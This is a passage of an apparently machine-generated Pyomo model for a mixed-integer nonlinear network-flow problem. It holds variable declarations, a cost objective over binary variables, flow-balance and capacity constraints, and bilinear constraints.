= Var(within=Reals,bounds=(0,None),initialize=0) m.x669 = Var(within=Reals,bounds=(0,None),initialize=0) m.x670 = Var(within=Reals,bounds=(0,None),initialize=0) m.x671 = Var(within=Reals,bounds=(0,None),initialize=0) m.x672 = Var(within=Reals,bounds=(0,None),initialize=0) m.x673 = Var(within=Reals,bounds=(0,None),initialize=0) m.obj = Objective(expr= 1.090016011*m.b547 + 3.10674202*m.b548 + 2.475702586*m.b549 + 1.966733944*m.b550 + 1.090016011*m.b551 + 2.019536713*m.b552 + 3.10674202*m.b553 + 1.383540955*m.b554 + 2.087059045*m.b555 + 3.720443668*m.b556 + 1.383540955*m.b557 + 1.794144217*m.b558 + 3.50653318*m.b559 + 1.71812596*m.b560 + 3.834780538*m.b561 + 2.087059045*m.b562 + 1.794144217*m.b563 + 2.239621249*m.b564 + 2.475702586*m.b565 + 2.019536713*m.b566 + 3.720443668*m.b567 + 3.50653318*m.b568 + 2.239621249*m.b569 + 1.098732406*m.b570 + 1.742557876*m.b571 + 1.098732406*m.b572 + 3.606882982*m.b573 + 1.71812596*m.b574 + 2.074958698*m.b575 + 1.966733944*m.b576 + 2.074958698*m.b577 + 3.859970515*m.b578 + 1.742557876*m.b579 + 3.859970515*m.b580 + 3.951460459*m.b581 + 3.834780538*m.b582 + 3.606882982*m.b583 + 2.524064089*m.b584 + 2.524064089*m.b585 + 3.982701487*m.b586 + 3.951460459*m.b587 + 3.982701487*m.b588, sense=minimize) m.c2 = Constraint(expr= - m.x1 - m.x14 - m.x27 - m.x40 + m.x53 + m.x79 + m.x235 + m.x378 == -148) m.c3 = Constraint(expr= - m.x2 - m.x15 - m.x28 - m.x41 + m.x54 + m.x80 + m.x236 + m.x379 == 12) m.c4 = Constraint(expr= - m.x3 - m.x16 - m.x29 - m.x42 + m.x55 + m.x81 + m.x237 + m.x380 == 16) m.c5 = Constraint(expr= - m.x4 - m.x17 - m.x30 - m.x43 + m.x56 + m.x82 + m.x238 + m.x381 == 21) m.c6 = Constraint(expr= - m.x5 - m.x18 - m.x31 - m.x44 + m.x57 + m.x83 + m.x239 + m.x382 == 11) m.c7 = Constraint(expr= - m.x6 - m.x19 - m.x32 - m.x45 + m.x58 + m.x84 + m.x240 + m.x383 == 24) m.c8 = Constraint(expr= - m.x7 - m.x20 - m.x33 - m.x46 + m.x59 + m.x85 + m.x241 + m.x384 == 24) m.c9 = Constraint(expr= - m.x8 - m.x21 - m.x34 - m.x47 + m.x60 + m.x86 + m.x242 + m.x385 == 8) m.c10 = Constraint(expr= - m.x9 - m.x22 - m.x35 - m.x48 + m.x61 + m.x87 + m.x243 + m.x386 == 10) m.c11 = Constraint(expr= - m.x10 - m.x23 - m.x36 - m.x49 + m.x62 + m.x88 + m.x244 + m.x387 == 18) m.c12 = Constraint(expr= - m.x11 - m.x24 - m.x37 - m.x50 + m.x63 + m.x89 + m.x245 + m.x388 == 11) m.c13 = Constraint(expr= - m.x12 - m.x25 - m.x38 - m.x51 + m.x64 + m.x90 + m.x246 + m.x389 == 20) m.c14 = Constraint(expr= - m.x13 - m.x26 - m.x39 - m.x52 + m.x65 + m.x91 + m.x247 + m.x390 == 7) m.c15 = Constraint(expr= m.x1 - m.x53 - m.x66 + m.x248 == 7) m.c16 = Constraint(expr= m.x2 - m.x54 - m.x67 + m.x249 == -175) m.c17 = Constraint(expr= m.x3 - m.x55 - m.x68 + m.x250 == 15) m.c18 = Constraint(expr= m.x4 - m.x56 - m.x69 + m.x251 == 17) m.c19 = Constraint(expr= m.x5 - m.x57 - m.x70 + m.x252 == 20) m.c20 = Constraint(expr= m.x6 - m.x58 - m.x71 + m.x253 == 24) m.c21 = Constraint(expr= m.x7 - m.x59 - m.x72 + m.x254 == 6) m.c22 = Constraint(expr= m.x8 - m.x60 - m.x73 + m.x255 == 19) m.c23 = Constraint(expr= m.x9 - m.x61 - m.x74 + m.x256 == 24) m.c24 = Constraint(expr= m.x10 - m.x62 - m.x75 + m.x257 == 11) m.c25 = Constraint(expr= m.x11 - m.x63 - m.x76 + m.x258 == 15) m.c26 = Constraint(expr= m.x12 - m.x64 - m.x77 + m.x259 == 9) m.c27 = Constraint(expr= m.x13 - m.x65 - m.x78 + m.x260 == 19) m.c28 = Constraint(expr= m.x14 - m.x79 - m.x92 - m.x105 - m.x118 + m.x131 + m.x196 + m.x261 == 15) m.c29 = Constraint(expr= m.x15 - m.x80 - m.x93 - m.x106 - m.x119 + m.x132 + m.x197 + m.x262 == 13) m.c30 = Constraint(expr= m.x16 - m.x81 - m.x94 - m.x107 - m.x120 + m.x133 + m.x198 + m.x263 == -231) m.c31 = Constraint(expr= m.x17 - m.x82 - m.x95 - m.x108 - m.x121 + m.x134 + m.x199 + m.x264 == 23) m.c32 = Constraint(expr= m.x18 - m.x83 - m.x96 - m.x109 - m.x122 + m.x135 + m.x200 + m.x265 == 18) m.c33 = Constraint(expr= m.x19 - m.x84 - m.x97 - m.x110 - m.x123 + m.x136 + m.x201 + m.x266 == 19) m.c34 = Constraint(expr= m.x20 - m.x85 - m.x98 - m.x111 - m.x124 + m.x137 + m.x202 + m.x267 == 9) m.c35 = Constraint(expr= m.x21 - m.x86 - m.x99 - m.x112 - m.x125 + m.x138 + m.x203 + m.x268 == 8) m.c36 = Constraint(expr= m.x22 - m.x87 - m.x100 - m.x113 - m.x126 + m.x139 + m.x204 + m.x269 == 16) m.c37 = Constraint(expr= m.x23 - m.x88 - m.x101 - m.x114 - m.x127 + m.x140 + m.x205 + m.x270 == 19) m.c38 = Constraint(expr= m.x24 - m.x89 - m.x102 - m.x115 - m.x128 + m.x141 + m.x206 + m.x271 == 19) m.c39 = Constraint(expr= m.x25 - m.x90 - m.x103 - m.x116 - m.x129 + m.x142 + m.x207 + m.x272 == 21) m.c40 = Constraint(expr= m.x26 - m.x91 - m.x104 - m.x117 - m.x130 + m.x143 + m.x208 + m.x273 == 8) m.c41 = Constraint(expr= m.x92 - m.x131 - m.x144 - m.x157 - m.x170 - m.x183 + m.x209 + m.x274 + m.x352 + m.x456 == 12) m.c42 = Constraint(expr= m.x93 - m.x132 - m.x145 - m.x158 - m.x171 - m.x184 + m.x210 + m.x275 + m.x353 + m.x457 == 20) m.c43 = Constraint(expr= m.x94 - m.x133 - m.x146 - m.x159 - m.x172 - m.x185 + m.x211 + m.x276 + m.x354 + m.x458 == 23) m.c44 = Constraint(expr= m.x95 - m.x134 - m.x147 - m.x160 - m.x173 - m.x186 + m.x212 + m.x277 + m.x355 + m.x459 == -187) m.c45 = Constraint(expr= m.x96 - m.x135 - m.x148 - m.x161 - m.x174 - m.x187 + m.x213 + m.x278 + m.x356 + m.x460 == 21) m.c46 = Constraint(expr= m.x97 - m.x136 - m.x149 - m.x162 - m.x175 - m.x188 + m.x214 + m.x279 + m.x357 + m.x461 == 12) m.c47 = Constraint(expr= m.x98 - m.x137 - m.x150 - m.x163 - m.x176 - m.x189 + m.x215 + m.x280 + m.x358 + m.x462 == 6) m.c48 = Constraint(expr= m.x99 - m.x138 - m.x151 - m.x164 - m.x177 - m.x190 + m.x216 + m.x281 + m.x359 + m.x463 == 11) m.c49 = Constraint(expr= m.x100 - m.x139 - m.x152 - m.x165 - m.x178 - m.x191 + m.x217 + m.x282 + m.x360 + m.x464 == 19) m.c50 = Constraint(expr= m.x101 - m.x140 - m.x153 - m.x166 - m.x179 - m.x192 + m.x218 + m.x283 + m.x361 + m.x465 == 9) m.c51 = Constraint(expr= m.x102 - m.x141 - m.x154 - m.x167 - m.x180 - m.x193 + m.x219 + m.x284 + m.x362 + m.x466 == 17) m.c52 = Constraint(expr= m.x103 - m.x142 - m.x155 - m.x168 - m.x181 - m.x194 + m.x220 + m.x285 + m.x363 + m.x467 == 23) m.c53 = Constraint(expr= m.x104 - m.x143 - m.x156 - m.x169 - m.x182 - m.x195 + m.x221 + m.x286 + m.x364 + m.x468 == 21) m.c54 = Constraint(expr= m.x105 + m.x144 - m.x196 - m.x209 - m.x222 + m.x287 == 14) m.c55 = Constraint(expr= m.x106 + m.x145 - m.x197 - m.x210 - m.x223 + m.x288 == 7) m.c56 = Constraint(expr= m.x107 + m.x146 - m.x198 - m.x211 - m.x224 + m.x289 == 22) m.c57 = Constraint(expr= m.x108 + m.x147 - m.x199 - m.x212 - m.x225 + m.x290 == 14) m.c58 = Constraint(expr= m.x109 + m.x148 - m.x200 - m.x213 - m.x226 + m.x291 == -170) m.c59 = Constraint(expr= m.x110 + m.x149 - m.x201 - m.x214 - m.x227 + m.x292 == 12) m.c60 = Constraint(expr= m.x111 + m.x150 - m.x202 - m.x215 - m.x228 + m.x293 == 13) m.c61 = Constraint(expr= m.x112 + m.x151 - m.x203 - m.x216 - m.x229 + m.x294 == 10) m.c62 = Constraint(expr= m.x113 + m.x152 - m.x204 - m.x217 - m.x230 + m.x295 == 15) m.c63 = Constraint(expr= m.x114 + m.x153 - m.x205 - m.x218 - m.x231 + m.x296 == 9) m.c64 = Constraint(expr= m.x115 + m.x154 - m.x206 - m.x219 - m.x232 + m.x297 == 14) m.c65 = Constraint(expr= m.x116 + m.x155 - m.x207 - m.x220 - m.x233 + m.x298 == 16) m.c66 = Constraint(expr= m.x117 + m.x156 - m.x208 - m.x221 - m.x234 + m.x299 == 8) m.c67 = Constraint(expr= m.x27 + m.x66 + m.x118 + m.x157 + m.x222 - m.x235 - m.x248 - m.x261 - m.x274 - m.x287 - m.x300 - m.x313 + m.x326 + m.x417 == 13) m.c68 = Constraint(expr= m.x28 + m.x67 + m.x119 + m.x158 + m.x223 - m.x236 - m.x249 - m.x262 - m.x275 - m.x288 - m.x301 - m.x314 + m.x327 + m.x418 == 22) m.c69 = Constraint(expr= m.x29 + m.x68 + m.x120 + m.x159 + m.x224 - m.x237 - m.x250 - m.x263 - m.x276 - m.x289 - m.x302 - m.x315 + m.x328 + m.x419 == 23) m.c70 = Constraint(expr= m.x30 + m.x69 + m.x121 + m.x160 + m.x225 - m.x238 - m.x251 - m.x264 - m.x277 - m.x290 - m.x303 - m.x316 + m.x329 + m.x420 == 7) m.c71 = Constraint(expr= m.x31 + m.x70 + m.x122 + m.x161 + m.x226 - m.x239 - m.x252 - m.x265 - m.x278 - m.x291 - m.x304 - m.x317 + m.x330 + m.x421 == 16) m.c72 = Constraint(expr= m.x32 + m.x71 + m.x123 + m.x162 + m.x227 - m.x240 - m.x253 - m.x266 - m.x279 - m.x292 - m.x305 - m.x318 + m.x331 + m.x422 == -169) m.c73 = Constraint(expr= m.x33 + m.x72 + m.x124 + m.x163 + m.x228 - m.x241 - m.x254 - m.x267 - m.x280 - m.x293 - m.x306 - m.x319 + m.x332 + m.x423 == 20) m.c74 = Constraint(expr= m.x34 + m.x73 + m.x125 + m.x164 + m.x229 - m.x242 - m.x255 - m.x268 - m.x281 - m.x294 - m.x307 - m.x320 + m.x333 + m.x424 == 14) m.c75 = Constraint(expr= m.x35 + m.x74 + m.x126 + m.x165 + m.x230 - m.x243 - m.x256 - m.x269 - m.x282 - m.x295 - m.x308 - m.x321 + m.x334 + m.x425 == 11) m.c76 = Constraint(expr= m.x36 + m.x75 + m.x127 + m.x166 + m.x231 - m.x244 - m.x257 - m.x270 - m.x283 - m.x296 - m.x309 - m.x322 + m.x335 + m.x426 == 13) m.c77 = Constraint(expr= m.x37 + m.x76 + m.x128 + m.x167 + m.x232 - m.x245 - m.x258 - m.x271 - m.x284 - m.x297 - m.x310 - m.x323 + m.x336 + m.x427 == 10) m.c78 = Constraint(expr= m.x38 + m.x77 + m.x129 + m.x168 + m.x233 - m.x246 - m.x259 - m.x272 - m.x285 - m.x298 - m.x311 - m.x324 + m.x337 + m.x428 == 13) m.c79 = Constraint(expr= m.x39 + m.x78 + m.x130 + m.x169 + m.x234 - m.x247 - m.x260 - m.x273 - m.x286 - m.x299 - m.x312 - m.x325 + m.x338 + m.x429 == 12) m.c80 = Constraint(expr= m.x300 - m.x326 - m.x339 + m.x469 == 6) m.c81 = Constraint(expr= m.x301 - m.x327 - m.x340 + m.x470 == 16) m.c82 = Constraint(expr= m.x302 - m.x328 - m.x341 + m.x471 == 22) m.c83 = Constraint(expr= m.x303 - m.x329 - m.x342 + m.x472 == 9) m.c84 = Constraint(expr= m.x304 - m.x330 - m.x343 + m.x473 == 13) m.c85 = Constraint(expr= m.x305 - m.x331 - m.x344 + m.x474 == 7) m.c86 = Constraint(expr= m.x306 - m.x332 - m.x345 + m.x475 == -156) m.c87 = Constraint(expr= m.x307 - m.x333 - m.x346 + m.x476 == 20) m.c88 = Constraint(expr= m.x308 - m.x334 - m.x347 + m.x477 == 19) m.c89 = Constraint(expr= m.x309 - m.x335 - m.x348 + m.x478 == 24) m.c90 = Constraint(expr= m.x310 - m.x336 - m.x349 + m.x479 == 8) m.c91 = Constraint(expr= m.x311 - m.x337 - m.x350 + m.x480 == 21) m.c92 = Constraint(expr= m.x312 - m.x338 - m.x351 + m.x481 == 6) m.c93 = Constraint(expr= m.x170 - m.x352 - m.x365 + m.x391 == 15) m.c94 = Constraint(expr= m.x171 - m.x353 - m.x366 + m.x392 == 15) m.c95 = Constraint(expr= m.x172 - m.x354 - m.x367 + m.x393 == 23) m.c96 = Constraint(expr= m.x173 - m.x355 - m.x368 + m.x394 == 25) m.c97 = Constraint(expr= m.x174 - m.x356 - m.x369 + m.x395 == 20) m.c98 = Constraint(expr= m.x175 - m.x357 - m.x370 + m.x396 == 7) m.c99 = Constraint(expr= m.x176 - m.x358 - m.x371 + m.x397 == 19) m.c100 = Constraint(expr= m.x177 - m.x359 - m.x372 + m.x398 == -177) m.c101 = Constraint(expr= m.x178 - m.x360 - m.x373 + m.x399 == 7) m.c102 = Constraint(expr= m.x179 - m.x361 - m.x374 + m.x400 == 18) m.c103 = Constraint(expr= m.x180 - m.x362 - m.x375 + m.x401 == 25) m.c104 = Constraint(expr= m.x181 - m.x363 - m.x376 + m.x402 == 20) m.c105 = Constraint(expr= m.x182 - m.x364 - m.x377 + m.x403 == 18) m.c106 = Constraint(expr= m.x40 + m.x365 - m.x378 - m.x391 - m.x404 + m.x430 == 8) m.c107 = Constraint(expr= m.x41 + m.x366 - m.x379 - m.x392 - m.x405 + m.x431 == 11) m.c108 = Constraint(expr= m.x42 + m.x367 - m.x380 - m.x393 - m.x406 + m.x432 == 23) m.c109 = Constraint(expr= m.x43 + m.x368 - m.x381 - m.x394 - m.x407 + m.x433 == 7) m.c110 = Constraint(expr= m.x44 + m.x369 - m.x382 - m.x395 - m.x408 + m.x434 == 5) m.c111 = Constraint(expr= m.x45 + m.x370 - m.x383 - m.x396 - m.x409 + m.x435 == 15) m.c112 = Constraint(expr= m.x46 + m.x371 - m.x384 - m.x397 - m.x410 + m.x436 == 7) m.c113 = Constraint(expr= m.x47 + m.x372 - m.x385 - m.x398 - m.x411 + m.x437 == 10) m.c114 = Constraint(expr= m.x48 + m.x373 - m.x386 - m.x399 - m.x412 + m.x438 == -179) m.c115 = Constraint(expr= m.x49 + m.x374 - m.x387 - m.x400 - m.x413 + m.x439 == 20) m.c116 = Constraint(expr= m.x50 + m.x375 - m.x388 - m.x401 - m.x414 + m.x440 == 18) m.c117 = Constraint(expr= m.x51 + m.x376 - m.x389 - m.x402 - m.x415 + m.x441 == 8) m.c118 = Constraint(expr= m.x52 + m.x377 - m.x390 - m.x403 - m.x416 + m.x442 == 12) m.c119 = Constraint(expr= m.x313 + m.x404 - m.x417 - m.x430 - m.x443 + m.x521 == 9) m.c120 = Constraint(expr= m.x314 + m.x405 - m.x418 - m.x431 - m.x444 + m.x522 == 12) m.c121 = Constraint(expr= m.x315 + m.x406 - m.x419 - m.x432 - m.x445 + m.x523 == 24) m.c122 = Constraint(expr= m.x316 + m.x407 - m.x420 - m.x433 - m.x446 + m.x524 == 21) m.c123 = Constraint(expr= m.x317 + m.x408 - m.x421 - m.x434 - m.x447 + m.x525 == 8) m.c124 = Constraint(expr= m.x318 + m.x409 - m.x422 - m.x435 - m.x448 + m.x526 == 9) m.c125 = Constraint(expr= m.x319 + m.x410 - m.x423 - m.x436 - m.x449 + m.x527 == 11) m.c126 = Constraint(expr= m.x320 + m.x411 - m.x424 - m.x437 - m.x450 + m.x528 == 13) m.c127 = Constraint(expr= m.x321 + m.x412 - m.x425 - m.x438 - m.x451 + m.x529 == 11) m.c128 = Constraint(expr= m.x322 + m.x413 - m.x426 - m.x439 - m.x452 + m.x530 == -183) m.c129 = Constraint(expr= m.x323 + m.x414 - m.x427 - m.x440 - m.x453 + m.x531 == 16) m.c130 = Constraint(expr= m.x324 + m.x415 - m.x428 - m.x441 - m.x454 + m.x532 == 14) m.c131 = Constraint(expr= m.x325 + m.x416 - m.x429 - m.x442 - m.x455 + m.x533 == 17) m.c132 = Constraint(expr= m.x183 + m.x339 - m.x456 - m.x469 - m.x482 + m.x495 == 22) m.c133 = Constraint(expr= m.x184 + m.x340 - m.x457 - m.x470 - m.x483 + m.x496 == 12) m.c134 = Constraint(expr= m.x185 + m.x341 - m.x458 - m.x471 - m.x484 + m.x497 == 7) m.c135 = Constraint(expr= m.x186 + m.x342 - m.x459 - m.x472 - m.x485 + m.x498 == 12) m.c136 = Constraint(expr= m.x187 + m.x343 - m.x460 - m.x473 - m.x486 + m.x499 == 12) m.c137 = Constraint(expr= m.x188 + m.x344 - m.x461 - m.x474 - m.x487 + m.x500 == 10) m.c138 = Constraint(expr= m.x189 + m.x345 - m.x462 - m.x475 - m.x488 + m.x501 == 11) m.c139 = Constraint(expr= m.x190 + m.x346 - m.x463 - m.x476 - m.x489 + m.x502 == 17) m.c140 = Constraint(expr= m.x191 + m.x347 - m.x464 - m.x477 - m.x490 + m.x503 == 17) m.c141 = Constraint(expr= m.x192 + m.x348 - m.x465 - m.x478 - m.x491 + m.x504 == 12) m.c142 = Constraint(expr= m.x193 + m.x349 - m.x466 - m.x479 - m.x492 + m.x505 == -185) m.c143 = Constraint(expr= m.x194 + m.x350 - m.x467 - m.x480 - m.x493 + m.x506 == 10) m.c144 = Constraint(expr= m.x195 + m.x351 - m.x468 - m.x481 - m.x494 + m.x507 == 21) m.c145 = Constraint(expr= m.x482 - m.x495 - m.x508 + m.x534 == 8) m.c146 = Constraint(expr= m.x483 - m.x496 - m.x509 + m.x535 == 20) m.c147 = Constraint(expr= m.x484 - m.x497 - m.x510 + m.x536 == 23) m.c148 = Constraint(expr= m.x485 - m.x498 - m.x511 + m.x537 == 18) m.c149 = Constraint(expr= m.x486 - m.x499 - m.x512 + m.x538 == 15) m.c150 = Constraint(expr= m.x487 - m.x500 - m.x513 + m.x539 == 22) m.c151 = Constraint(expr= m.x488 - m.x501 - m.x514 + m.x540 == 17) m.c152 = Constraint(expr= m.x489 - m.x502 - m.x515 + m.x541 == 24) m.c153 = Constraint(expr= m.x490 - m.x503 - m.x516 + m.x542 == 7) m.c154 = Constraint(expr= m.x491 - m.x504 - m.x517 + m.x543 == 16) m.c155 = Constraint(expr= m.x492 - m.x505 - m.x518 + m.x544 == 24) m.c156 = Constraint(expr= m.x493 - m.x506 - m.x519 + m.x545 == -200) m.c157 = Constraint(expr= m.x494 - m.x507 - m.x520 + m.x546 == 8) m.c158 = Constraint(expr= m.x443 + m.x508 - m.x521 - m.x534 == 19) m.c159 = Constraint(expr= m.x444 + m.x509 - m.x522 - m.x535 == 15) m.c160 = Constraint(expr= m.x445 + m.x510 - m.x523 - m.x536 == 10) m.c161 = Constraint(expr= m.x446 + m.x511 - m.x524 - m.x537 == 13) m.c162 = Constraint(expr= m.x447 + m.x512 - m.x525 - m.x538 == 11) m.c163 = Constraint(expr= m.x448 + m.x513 - m.x526 - m.x539 == 8) m.c164 = Constraint(expr= m.x449 + m.x514 - m.x527 - m.x540 == 13) m.c165 = Constraint(expr= m.x450 + m.x515 - m.x528 - m.x541 == 23) m.c166 = Constraint(expr= m.x451 + m.x516 - m.x529 - m.x542 == 23) m.c167 = Constraint(expr= m.x452 + m.x517 - m.x530 - m.x543 == 14) m.c168 = Constraint(expr= m.x453 + m.x518 - m.x531 - m.x544 == 8) m.c169 = Constraint(expr= m.x454 + m.x519 - m.x532 - m.x545 == 25) m.c170 = Constraint(expr= m.x455 + m.x520 - m.x533 - m.x546 == -157) m.c171 = Constraint(expr= - m.x1 - m.x2 - m.x3 - m.x4 - m.x5 - m.x6 - m.x7 - m.x8 - m.x9 - m.x10 - m.x11 - m.x12 - m.x13 + m.x632 >= 0) m.c172 = Constraint(expr= - m.x14 - m.x15 - m.x16 - m.x17 - m.x18 - m.x19 - m.x20 - m.x21 - m.x22 - m.x23 - m.x24 - m.x25 - m.x26 + m.x633 >= 0) m.c173 = Constraint(expr= - m.x27 - m.x28 - m.x29 - m.x30 - m.x31 - m.x32 - m.x33 - m.x34 - m.x35 - m.x36 - m.x37 - m.x38 - m.x39 + m.x634 >= 0) m.c174 = Constraint(expr= - m.x40 - m.x41 - m.x42 - m.x43 - m.x44 - m.x45 - m.x46 - m.x47 - m.x48 - m.x49 - m.x50 - m.x51 - m.x52 + m.x635 >= 0) m.c175 = Constraint(expr= - m.x53 - m.x54 - m.x55 - m.x56 - m.x57 - m.x58 - m.x59 - m.x60 - m.x61 - m.x62 - m.x63 - m.x64 - m.x65 + m.x636 >= 0) m.c176 = Constraint(expr= - m.x66 - m.x67 - m.x68 - m.x69 - m.x70 - m.x71 - m.x72 - m.x73 - m.x74 - m.x75 - m.x76 - m.x77 - m.x78 + m.x637 >= 0) m.c177 = Constraint(expr= - m.x79 - m.x80 - m.x81 - m.x82 - m.x83 - m.x84 - m.x85 - m.x86 - m.x87 - m.x88 - m.x89 - m.x90 - m.x91 + m.x638 >= 0) m.c178 = Constraint(expr= - m.x92 - m.x93 - m.x94 - m.x95 - m.x96 - m.x97 - m.x98 - m.x99 - m.x100 - m.x101 - m.x102 - m.x103 - m.x104 + m.x639 >= 0) m.c179 = Constraint(expr= - m.x105 - m.x106 - m.x107 - m.x108 - m.x109 - m.x110 - m.x111 - m.x112 - m.x113 - m.x114 - m.x115 - m.x116 - m.x117 + m.x640 >= 0) m.c180 = Constraint(expr= - m.x118 - m.x119 - m.x120 - m.x121 - m.x122 - m.x123 - m.x124 - m.x125 - m.x126 - m.x127 - m.x128 - m.x129 - m.x130 + m.x641 >= 0) m.c181 = Constraint(expr= - m.x131 - m.x132 - m.x133 - m.x134 - m.x135 - m.x136 - m.x137 - m.x138 - m.x139 - m.x140 - m.x141 - m.x142 - m.x143 + m.x642 >= 0) m.c182 = Constraint(expr= - m.x144 - m.x145 - m.x146 - m.x147 - m.x148 - m.x149 - m.x150 - m.x151 - m.x152 - m.x153 - m.x154 - m.x155 - m.x156 + m.x643 >= 0) m.c183 = Constraint(expr= - m.x157 - m.x158 - m.x159 - m.x160 - m.x161 - m.x162 - m.x163 - m.x164 - m.x165 - m.x166 - m.x167 - m.x168 - m.x169 + m.x644 >= 0) m.c184 = Constraint(expr= - m.x170 - m.x171 - m.x172 - m.x173 - m.x174 - m.x175 - m.x176 - m.x177 - m.x178 - m.x179 - m.x180 - m.x181 - m.x182 + m.x645 >= 0) m.c185 = Constraint(expr= - m.x183 - m.x184 - m.x185 - m.x186 - m.x187 - m.x188 - m.x189 - m.x190 - m.x191 - m.x192 - m.x193 - m.x194 - m.x195 + m.x646 >= 0) m.c186 = Constraint(expr= - m.x196 - m.x197 - m.x198 - m.x199 - m.x200 - m.x201 - m.x202 - m.x203 - m.x204 - m.x205 - m.x206 - m.x207 - m.x208 + m.x647 >= 0) m.c187 = Constraint(expr= - m.x209 - m.x210 - m.x211 - m.x212 - m.x213 - m.x214 - m.x215 - m.x216 - m.x217 - m.x218 - m.x219 - m.x220 - m.x221 + m.x648 >= 0) m.c188 = Constraint(expr= - m.x222 - m.x223 - m.x224 - m.x225 - m.x226 - m.x227 - m.x228 - m.x229 - m.x230 - m.x231 - m.x232 - m.x233 - m.x234 + m.x649 >= 0) m.c189 = Constraint(expr= - m.x235 - m.x236 - m.x237 - m.x238 - m.x239 - m.x240 - m.x241 - m.x242 - m.x243 - m.x244 - m.x245 - m.x246 - m.x247 + m.x650 >= 0) m.c190 = Constraint(expr= - m.x248 - m.x249 - m.x250 - m.x251 - m.x252 - m.x253 - m.x254 - m.x255 - m.x256 - m.x257 - m.x258 - m.x259 - m.x260 + m.x651 >= 0) m.c191 = Constraint(expr= - m.x261 - m.x262 - m.x263 - m.x264 - m.x265 - m.x266 - m.x267 - m.x268 - m.x269 - m.x270 - m.x271 - m.x272 - m.x273 + m.x652 >= 0) m.c192 = Constraint(expr= - m.x274 - m.x275 - m.x276 - m.x277 - m.x278 - m.x279 - m.x280 - m.x281 - m.x282 - m.x283 - m.x284 - m.x285 - m.x286 + m.x653 >= 0) m.c193 = Constraint(expr= - m.x287 - m.x288 - m.x289 - m.x290 - m.x291 - m.x292 - m.x293 - m.x294 - m.x295 - m.x296 - m.x297 - m.x298 - m.x299 + m.x654 >= 0) m.c194 = Constraint(expr= - m.x300 - m.x301 - m.x302 - m.x303 - m.x304 - m.x305 - m.x306 - m.x307 - m.x308 - m.x309 - m.x310 - m.x311 - m.x312 + m.x655 >= 0) m.c195 = Constraint(expr= - m.x313 - m.x314 - m.x315 - m.x316 - m.x317 - m.x318 - m.x319 - m.x320 - m.x321 - m.x322 - m.x323 - m.x324 - m.x325 + m.x656 >= 0) m.c196 = Constraint(expr= - m.x326 - m.x327 - m.x328 - m.x329 - m.x330 - m.x331 - m.x332 - m.x333 - m.x334 - m.x335 - m.x336 - m.x337 - m.x338 + m.x657 >= 0) m.c197 = Constraint(expr= - m.x339 - m.x340 - m.x341 - m.x342 - m.x343 - m.x344 - m.x345 - m.x346 - m.x347 - m.x348 - m.x349 - m.x350 - m.x351 + m.x658 >= 0) m.c198 = Constraint(expr= - m.x352 - m.x353 - m.x354 - m.x355 - m.x356 - m.x357 - m.x358 - m.x359 - m.x360 - m.x361 - m.x362 - m.x363 - m.x364 + m.x659 >= 0) m.c199 = Constraint(expr= - m.x365 - m.x366 - m.x367 - m.x368 - m.x369 - m.x370 - m.x371 - m.x372 - m.x373 - m.x374 - m.x375 - m.x376 - m.x377 + m.x660 >= 0) m.c200 = Constraint(expr= - m.x378 - m.x379 - m.x380 - m.x381 - m.x382 - m.x383 - m.x384 - m.x385 - m.x386 - m.x387 - m.x388 - m.x389 - m.x390 + m.x661 >= 0) m.c201 = Constraint(expr= - m.x391 - m.x392 - m.x393 - m.x394 - m.x395 - m.x396 - m.x397 - m.x398 - m.x399 - m.x400 - m.x401 - m.x402 - m.x403 + m.x662 >= 0) m.c202 = Constraint(expr= - m.x404 - m.x405 - m.x406 - m.x407 - m.x408 - m.x409 - m.x410 - m.x411 - m.x412 - m.x413 - m.x414 - m.x415 - m.x416 + m.x663 >= 0) m.c203 = Constraint(expr= - m.x417 - m.x418 - m.x419 - m.x420 - m.x421 - m.x422 - m.x423 - m.x424 - m.x425 - m.x426 - m.x427 - m.x428 - m.x429 + m.x664 >= 0) m.c204 = Constraint(expr= - m.x430 - m.x431 - m.x432 - m.x433 - m.x434 - m.x435 - m.x436 - m.x437 - m.x438 - m.x439 - m.x440 - m.x441 - m.x442 + m.x665 >= 0) m.c205 = Constraint(expr= - m.x443 - m.x444 - m.x445 - m.x446 - m.x447 - m.x448 - m.x449 - m.x450 - m.x451 - m.x452 - m.x453 - m.x454 - m.x455 + m.x666 >= 0) m.c206 = Constraint(expr= - m.x456 - m.x457 - m.x458 - m.x459 - m.x460 - m.x461 - m.x462 - m.x463 - m.x464 - m.x465 - m.x466 - m.x467 - m.x468 + m.x667 >= 0) m.c207 = Constraint(expr= - m.x469 - m.x470 - m.x471 - m.x472 - m.x473 - m.x474 - m.x475 - m.x476 - m.x477 - m.x478 - m.x479 - m.x480 - m.x481 + m.x668 >= 0) m.c208 = Constraint(expr= - m.x482 - m.x483 - m.x484 - m.x485 - m.x486 - m.x487 - m.x488 - m.x489 - m.x490 - m.x491 - m.x492 - m.x493 - m.x494 + m.x669 >= 0) m.c209 = Constraint(expr= - m.x495 - m.x496 - m.x497 - m.x498 - m.x499 - m.x500 - m.x501 - m.x502 - m.x503 - m.x504 - m.x505 - m.x506 - m.x507 + m.x670 >= 0) m.c210 = Constraint(expr= - m.x508 - m.x509 - m.x510 - m.x511 - m.x512 - m.x513 - m.x514 - m.x515 - m.x516 - m.x517 - m.x518 - m.x519 - m.x520 + m.x671 >= 0) m.c211 = Constraint(expr= - m.x521 - m.x522 - m.x523 - m.x524 - m.x525 - m.x526 - m.x527 - m.x528 - m.x529 - m.x530 - m.x531 - m.x532 - m.x533 + m.x672 >= 0) m.c212 = Constraint(expr= - m.x534 - m.x535 - m.x536 - m.x537 - m.x538 - m.x539 - m.x540 - m.x541 - m.x542 - m.x543 - m.x544 - m.x545 - m.x546 + m.x673 >= 0) m.c213 = Constraint(expr=166*m.x632*m.b547 - 166*m.b547*m.x589 + m.x632*m.x589 <= 0) m.c214 = Constraint(expr=463*m.x633*m.b548 - 463*m.b548*m.x590 + m.x633*m.x590 <= 0) m.c215 = Constraint(expr=522*m.x634*m.b549 - 522*m.b549*m.x591 + m.x634*m.x591 <= 0) m.c216 = Constraint(expr=141*m.x635*m.b550 - 141*m.b550*m.x592 + m.x635*m.x592 <= 0) m.c217 = Constraint(expr=166*m.x636*m.b551 - 166*m.b551*m.x593 + m.x636*m.x593 <= 0) m.c218 = Constraint(expr=265*m.x637*m.b552 - 265*m.b552*m.x594 + m.x637*m.x594 <= 0) m.c219 = Constraint(expr=463*m.x638*m.b553 - 463*m.b553*m.x595 + m.x638*m.x595 <= 0) m.c220 = Constraint(expr=456*m.x639*m.b554 - 456*m.b554*m.x596 + m.x639*m.x596 <= 0) m.c221 = Constraint(expr=526*m.x640*m.b555 - 526*m.b555*m.x597 + 